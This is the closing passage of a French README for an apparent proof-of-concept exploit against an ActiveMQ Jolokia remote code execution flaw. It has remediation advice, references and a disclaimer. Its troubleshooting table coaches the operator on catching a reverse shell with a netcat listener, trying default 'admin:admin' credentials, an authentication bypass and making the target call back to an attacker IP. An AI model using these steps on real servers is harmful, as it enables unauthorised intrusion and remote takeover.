| **P0** | Mettre à niveau vers ActiveMQ Classic **5.19.4** ou **6.2.3** |
| **P1** | Modifier les identifiants par défaut de la console web |
| **P2** | Restreindre l'accès réseau au port **8161** |
| **P3** | Surveiller les journaux du broker pour les URI `vm://` avec les motifs `xbean:http` |
---
## Dépannage
| Problème | Cause probable | Solution |
|---------|-------------|----------|
| `Aucune requête de payload reçue dans les 15 s` | La cible ne peut pas joindre votre ATTACKER_IP | Vérifiez la connectivité (voir le [guide ATTACKER_IP](#comprendre-attacker_ip---lhost)) |
| `Échec de l'authentification (401)` | Identifiants incorrects | Essayez `--no-auth` (ActiveMQ 6.0.0-6.1.1) ou trouvez les bons identifiants |
| `Accès interdit (403)` | L'API Jolokia est restreinte | La cible peut avoir des ACL sur `/api/jolokia/` — non exploitable à distance |
| `Erreur de connexion` / `Connexion impossible` | La cible est hors ligne ou le port est incorrect | Vérifiez que `http://TARGET:8161/` est accessible |
| `Statut Jolokia=500 : impossible de s'enregistrer dans JMX` | Un connecteur d'exploit précédent est toujours enregistré | L'exploit réessaie automatiquement avec un nouveau nom aléatoire ; réessayez |
| Le reverse shell ne se connecte pas | IP différente dans `-l` par rapport à la commande shell, ou port non à l'écoute | Assurez-vous que la même IP est utilisée partout ; lancez `nc -lvnp PORT` avant d'exploiter |
| `Aucune sortie reçue dans les 10 s` | La cible ne dispose pas de `curl` ni de `wget`, ou la commande n'a pas de sortie standard | L'exécution de code à distance (RCE) a fonctionné — utilisez un reverse shell pour une interaction complète |
| La capture de sortie affiche un résultat vide | La commande n'a produit aucune sortie (par ex. `touch /tmp/test`) | Normal pour les commandes sans sortie standard ; utilisez `ls /tmp/test` pour vérifier |
| `OSError : Adresse déjà utilisée` sur le port 8888 | Un autre processus ou une exécution précédente utilise le port | Utilisez `-lp 9999` (ou tout port libre), ou tuez le processus bloquant |
| La phase 1 de `version_check.py` est lente | Trop peu de threads ou latence réseau élevée | Augmentez `--threads 20` ou `--threads 30` |
| `version_check.py` affiche `[VULNÉRABLE]` mais la phase 2 échoue | La cible ne peut pas joindre votre IP, ou le pare-feu bloque le HTTP sortant | Vérifiez ATTACKER_IP ; essayez `--wait 30` pour les réseaux lents |
| `version_check.py` affiche `Aucun Jolokia` pour toutes les cibles | L'API Jolokia est désactivée ou sur un chemin non standard | Vérifiez manuellement avec `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## Références
| Ressource | Lien |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Recherche Horizon3 | [Analyse technique](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Avis Apache | [Avis de sécurité](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE associé | [CVE-2024-32114 — Jolokia sans authentification](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE associé | [CVE-2023-46604 — RCE OpenWire](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Avertissement
> [!WARNING]
> Cette preuve de concept est fournie **strictement à des fins éducatives et de recherche en sécurité autorisée**. Toute utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est **illégale**. L'auteur décline toute responsabilité en cas d'utilisation abusive.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Développé avec expertise par <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>Licence MIT © 2026</sub>
</p>